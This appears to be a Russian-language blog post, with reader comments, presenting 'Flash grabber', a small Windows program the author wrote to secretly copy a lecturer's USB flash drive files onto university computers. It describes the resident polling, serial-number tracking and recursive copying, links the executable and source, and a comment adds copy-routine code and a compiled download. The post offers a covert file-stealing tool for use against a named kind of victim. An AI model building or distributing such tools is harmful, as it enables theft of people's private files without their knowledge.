Flash grabber

Предыстория

Есть у нас препод, который каждую практику спрашивает всё по пройденному материалу, а лекции то писать лень. Да и зачем? Они же все есть на его флешке, которую он бережет как зеницу ока.


И так

Это полноценный релиз версии 1.0 протестированный мной на университетских компьютерах со злостными правовыми ограничениями. На больших файлах пока не тестировал (если будет сильно грузить можно будет попробовать расставить Sleep-ов ~150 миллисекунд для разгрузки процессора), но с кучей мелких доков и презентаций программа справляется приблизительно за минуту (Intel Atom N270 1.60 Ггц, 1Гб ОЗУ) при этом не нагружая процессор даже на половину, а в режиме ожидания вообще практически не влияет на загрузку системы (возможно позже добавлю тестовые отчеты).

В коде нет наворотов, всё предельно тупо и просто. Делалось это из расчета на минимальные права в системе. Программа висит в памяти и с интервалом в минуту проходится по всем логическим дискам, если это флешка запрашивается ее серийный номер - программа сравнивает записи в реестре о последнем копировании с данной флешки и если прошло больше суток запускается рекурсивная функция копирования. Копирование производится на доступный для записи диск с условием, что на диске достаточно свободного места.

Ссылочки

EXE версия - doc,docx,ppt,pptx,rtf - 3.5 Кб

Проект VS-2008 - исходник и настройки проекта - 4.5 Кб

Комментарии

  1. Как заметил Rinat если на флешке только docx то он ничего не копирует... а если есть хотябы один doc то копируется и doc и docx, поэтому я добавил все форматы в код

    FindAndCopy(&DS[i],buf,_TEXT("doc"));
    FindAndCopy(&DS[i],buf,_TEXT("docx"));
    FindAndCopy(&DS[i],buf,_TEXT("ppt"));
    FindAndCopy(&DS[i],buf,_TEXT("pptx"));
    FindAndCopy(&DS[i],buf,_TEXT("rtf"));
    FindAndCopy(&DS[i],buf,_TEXT("rtfx"));

    компиленный вариант можно скачать тут
    http://zona-chat.narod.ru/src/grab_flash_1.0.1.exe

    ОтветитьУдалить
  2. Gar¦k хорошая идея =) сам реализовывал подобное на апи но на делфи=)

    ОтветитьУдалить
  3. Gar¦k - о великий помоги мне.
    ICQ - 29010341 - обрати взор ко мне. помощь нада. :)

    ОтветитьУдалить

Отправить комментарий

Популярные сообщения из этого блога

Сказ об убунте заморской

Работа с HTTP

FileZilla shortcut